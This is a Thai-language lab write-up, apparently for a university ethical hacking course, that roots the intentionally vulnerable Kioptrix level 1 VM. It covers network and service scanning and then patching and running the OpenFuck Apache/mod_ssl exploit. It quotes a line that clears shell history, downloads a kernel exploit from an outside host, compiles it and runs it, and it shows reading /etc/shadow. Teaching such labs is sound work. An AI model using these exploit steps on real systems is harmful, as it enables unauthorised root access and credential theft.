Penetration testing lab — Kioptrix level 1 [ตอนที่ 1]

Pongsarun Boonyopakorn
3 min readNov 19, 2020

--

บทความนี้นี้เป็นการทดสอบการทำ Penetration testing เพื่อใช้ทดสอบการเจาะระบบสำหรับคนที่สนใจทางด้านของการเจาะระบบ และ เพื่อใช้ประกอบการเรียนการสอนวิชา Ethical Hacking for Cyber Security ภาควิชาการสื่อสารข้อมูลและเครือข่าย คณะเทคโนโลยีสารสนเทศและนวัตกรรมดิจิทัล มจพ. โดยผมได้ลองนำ VM Series ของ Kioptrix ซึ่งมีทั้งหมด 5 VMs ซึ่งความยากง่ายจะค่อยๆไต่ระดับขึ้นไปเรื่อยๆ ซึ่งตอนนี้จะเป็นตอนแรก

Series นี้ตอนอื่นๆ
Penetration testing lab — Kioptrix level 1 [ตอนที่ 1]
Penetration testing lab — Kioptrix level 1 [ตอนที่ 2]
Penetration testing lab — Kioptrix level 2 [ตอนที่ 3]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 4]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 5]
Penetration testing lab — Kioptrix level 4 [ตอนที่ 6]
Penetration testing lab — Kioptrix level 5 [ตอนที่ 7]

ดาวน์โหลด Kiptrix VM

เป้าหมาย
ใช้วิธีอะไรก็ได้เพื่อให้สามารถเจาะเข้าเครื่อง Server และได้รับสิทธิ์เป็น Root

โดยมีขั้นตอนการทำงานดังนี้
1. การทำ Enumeration
2. การทำ Exploitation

  1. การทำ Enumeration

1.1 Enumeration ด้วยเครื่องมือ netdiscover

ในขั้นตอนแรกหลังจากที่เราเปิด VM ขึ้นมาเรายังไม่มีข้อมูล Information อะไรต่าง ๆ เกี่ยวกับเครื่อง Server ดังนั้นเราจึงต้องทำการ Intelligence Gathering เสียก่อน ซึ่งอาจจะได้มาจากหลากหลายช่องทางทั้ง Footprint, Social Engineering และ Enumeration โดยในที่นี้เราจะเริ่มโดยการหาข้อมูลเบื้องต้นคือ IP address ของเครื่องโดยใช้คำสั่งใน Kali linux ดังนี้

sudo netdiscover -i eth0

เมื่อใช้คำสั่ง netdiscover แล้วเครื่องจะทำการ scan เครื่องใดๆที่ active อยู่ใน network และแสดงข้อมูลขึ้นมาให้ตามภาพด้านล่าง ในกรณีนี้เครื่องเป้าหมายเป็นหมายเลข 192.168.0.10

1.2 Scan services และ port ด้วยเครื่องมือ nmap

หลังจากที่เราได้ IP address มาเรียบร้อยแล้ว ขั้นตอนต่อมาคือการสแกนว่าเครื่องเป้าหมายเปิด service และ port อะไรไว้บ้างโดยใช้คำสั่งใน Kali linux ดังนี้

sudo nmap -p- -sV -sS -T4 -A -oX Kipotrixlvl1.xml 192.168.0.10

โดยได้ทำการใช้เครื่องมือ nmap เพื่อสแกนหา service และ port ที่เครื่องได้เปิดไว้จากนั้น export ผลที่ได้ไปเก็บเป็น xml ไฟล์ที่ชื่อว่า Kioptrixlvl1.xml จากผลที่ได้ตามรูปด้านล่างจะเห็นว่า server เครื่องนี้ได้ทำการเปิด service ที่น่าสนใจเอาไว้คือ ssh, http, netbios/samba และ ssl ซึ่งเก็บข้อมูลไว้ก่อนเดี๋ยวจะได้นำไปลองเจาะระบบกันในขั้นตอนต่อๆไป

1.3 สแกน SAMBA service ด้วยเครื่องมือ enum4linux

enum4linux เป็นเครื่องมือที่ใช้สำหรับสแกน samba เพื่อดูข้อมูลอื่น ๆ เพิ่มเติมจากขั้นตอนที่แล้ว

1.4 สแกน Web service ด้วยเครื่องมือ nikto

ลองใช้เครื่องมือ nikto เพื่อทำการสแกนหาช่องโหว่ของ web server รวมไปถึงไฟล์และไดเร็คทอรี่ที่ซ่อนไว้เผื่อมีอะไรน่าสนใจและก็เจอจริงๆ โดยผลที่ได้บอกว่า server เครื่องนี้รัน Apache/1.3.20 และ SSL/2.8.4 ซึ่งตอนนี้ก็ Outdated ไปเป็นที่เรียบร้อย

2. การทำ Exploitation

หลังจากที่ลอง google เพื่อหาช่องโหว่ของ Apache และ SSL แล้วพบว่ามีเครื่องมือที่ใช้สำหรับทำการ exploitation คือ OpenFuck ซึ่งเป็น script เขียนด้วยภาษา C จึงตัดสินใจใช้ script นี้เพื่อทำการโจมตีไปที่เครื่องเป้าหมาย

หลังจากที่ดาวน์โหลด script มาเป็นที่เรียบร้อยแล้วเราต้องมีการปรับแก้ code เล็กน้อยเนื่องจากมีการเปลี่ยนแปลงของเวอร์ชั่นในการทำงานโดยแก้ดังนี้

1) ทำการเพิ่ม headers:

#include <openssl/rc4.h>

#include <openssl/md5.h>

2) ทำการแก้ URL ของ C ไฟล์

ให้ค้นหาคำว่า wget และหาข้อมูลตามด้านล่าง

#define COMMAND2 “unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n”

จากนั้นแก้ URL ตามด้านล่าง

http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

3) ติดตั้ง libssl1.0-dev lib

apt-get install libssl1.0-dev

4) compile ไฟล์ 764.c

จากนั้นทำการ compile ไฟล์ที่ทำการแก้ไขตามขั้นตอนด้านบน จะมี error เล็กน้อยแต่ยังสามารถทำงานได้

5) ทดสอบการทำงานด้วยคำสั่ง

./openfuck | grep -i redhat | grep “1.3.20”

จากรูปด้านล่างมีการ filter ข้อมูลด้วย flag grep เพื่อหาเวอร์ชั่นของ OS และ Apache จะสังเกตว่ามีข้อมูล 2 ตัวที่สามารถใช้งานได้คือ 0x6a และ 0x6b

6) ทดสอบการโจมตีด้วยคำสั่ง

./openfuck 0x6b 192.168.0.10 443 -c 40

หากสำเร็จจะได้ผลลัพธ์ตามรูปด้านล่าง โดยการลองพิมพ์คำสั่ง whoami จะเห็นว่าเราเป็น root เรียบร้อยแล้ว

ลองสำรวจชื่อ hostname และเรียกไฟล์ /etc/shadow เพื่อดูข้อมูล user ในเครื่อง

มาถึงตอนนี้เราสามารถทำการเจาะระบบเครื่องเป้าหมายได้เป็นที่เรียบร้อยแล้ว ผ่านช่องโหว่ของ apache และ open ssl ซึ่งนอกจากนี้ยังมีอีกหลายวิธีในการเจาะระบบเครื่องนี้

ปล.เป็นเพียงแค่ Lab ในการทดลองทำ Pentest เท่านั้นไม่สามารถใช้งานได้กับระบบจริง เนื่องจาก Lab นี้มีการจงใจที่จะเปิดช่องโหว่เอาไว้ให้เราได้ทำการทดลองศึกษา

สุดท้ายนี้ หากบทความนี้มีประโยชน์ รบกวนกด ปรบมือ หรือ กด share และกด follow ด้วยครับ เพื่อที่ผมจะได้มีกำลังใจในการทำตอนต่อ ๆ ไป สำหรับตอนที่สองนี้ขอกล่าวคำว่า สวัสดีและขอให้สนุกกับการทดสอบระบบครับ

--

--

Pongsarun Boonyopakorn

Lecturer at the university — KMUTNB who loves computer networking, cybersecurity, and web technology.